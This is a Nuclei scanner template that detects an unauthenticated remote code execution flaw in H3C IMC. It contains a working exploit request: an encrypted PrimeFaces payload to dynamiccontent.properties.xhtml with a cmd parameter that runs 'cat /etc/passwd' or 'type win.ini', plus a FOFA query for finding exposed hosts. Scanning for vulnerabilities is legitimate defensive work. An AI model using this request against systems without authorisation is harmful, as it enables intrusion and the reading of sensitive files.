h3c-imc-rce: H3c IMC - Remote Code Execution

id: h3c-imc-rce

info:
  name: H3c IMC - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: H3c IMC allows remote unauthenticated attackers to cause the remote web application to execute arbitrary commands via the 'dynamiccontent.properties.xhtml' endpoint.
  reference:
    - https://mp.weixin.qq.com/s/BP9_H3lpluqIwL5OMIJlIw
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 2
    fofa-query: body="/imc/javax.faces.resource/images/login_help.png.jsf?ln=primefaces-imc-new-webui"
  tags: rce,h3c-imc,vuln

http:
  - raw:
      - |
        POST /imc/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVqupdmBV%2FKAe9gtw54DSQCl72JjEAsHTRvxAuJC%2B%2FIFzB8dhqyGafOLqDOqc4QwUqLOJ5KuwGRarsPnIcJJwQQ7fEGzDwgaD0Njf%2FcNrT5NsETV8ToCfDLgkzjKVoz1ghGlbYnrjgqWarDvBnuv%2BEo5hxA5sgRQcWsFs1aN0zI9h8ecWvxGVmreIAuWduuetMakDq7ccNwStDSn2W6c%2BGvDYH7pKUiyBaGv9gshhhVGunrKvtJmJf04rVOy%2BZLezLj6vK%2BpVFyKR7s8xN5Ol1tz%2FG0VTJWYtaIwJ8rcWJLtVeLnXMlEcKBqd4yAtVfQNLA5AYtNBHneYyGZKAGivVYteZzG1IiJBtuZjHlE3kaH2N2XDLcOJKfyM%2FcwqYIl9PUvfC2Xh63Wh4yCFKJZGA2W0bnzXs8jdjMQoiKZnZiqRyDqkr5PwWqW16%2FI7eog15OBl4Kco%2FVjHHu8Mzg5DOvNevzs7hejq6rdj4T4AEDVrPMQS0HaIH%2BN7wC8zMZWsCJkXkY8GDcnOjhiwhQEL0l68qrO%2BEb%2F60MLarNPqOIBhF3RWB25h3q3vyESuWGkcTjJLlYOxHVJh3VhCou7OICpx3NcTTdwaRLlw7sMIUbF%2FciVuZGssKeVT%2FgR3nyoGuEg3WdOdM5tLfIthl1ruwVeQ7FoUcFU6RhZd0TO88HRsYXfaaRyC5HiSzRNn2DpnyzBIaZ8GDmz8AtbXt57uuUPRgyhdbZjIJx%2FqFUj%2BDikXHLvbUMrMlNAqSFJpqoy%2FQywVdBmlVdx%2BvJelZEK%2BBwNF9J4p%2F1fQ8wJZL2LB9SnqxAKr5kdCs0H%2FvouGHAXJZ%2BJzx5gcCw5h6%2Fp3ZkZMnMhkPMGWYIhFyWSSQwm6zmSZh1vRKfGRYd36aiRKgf3AynLVfTvxqPzqFh8BJUZ5Mh3V9R6D%2FukinKlX99zSUlQaueU22fj2jCgzvbpYwBUpD6a6tEoModbqMSIr0r7kYpE3tWAaF0ww4INtv2zUoQCRKo5BqCZFyaXrLnj7oA6RGm7ziH6xlFrOxtRd%2BLylDFB3dcYIgZtZoaSMAV3pyNoOzHy%2B1UtHe1nL97jJUCjUEbIOUPn70hyab29iHYAf3%2B9h0aurkyJVR28jIQlF4nT0nZqpixP%2Fnc0zrGppyu8dFzMqSqhRJgIkRrETErXPQ9sl%2BzoSf6CNta5ssizanfqqCmbwcvJkAlnPCP5OJhVes7lKCMlGH%2BOwPjT2xMuT6zaTMu3UMXeTd7U8yImpSbwTLhqcbaygXt8hhGSn5Qr7UQymKkAZGNKHGBbHeBIrEdjnVphcw9L2BjmaE%2BlsjMhGqFH6XWP5GD8FeHFtuY8bz08F4Wjt5wAeUZQOI4rSTpzgssoS1vbjJGzFukA07ahU%3D&cmd={{command}}

    payloads:
      command:
        - 'cat /etc/passwd'
        - 'type C:\\Windows\\win.ini'
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "\\[(font|extension|file)s\\]"
        condition: or

      - type: status
        status:
          - 200
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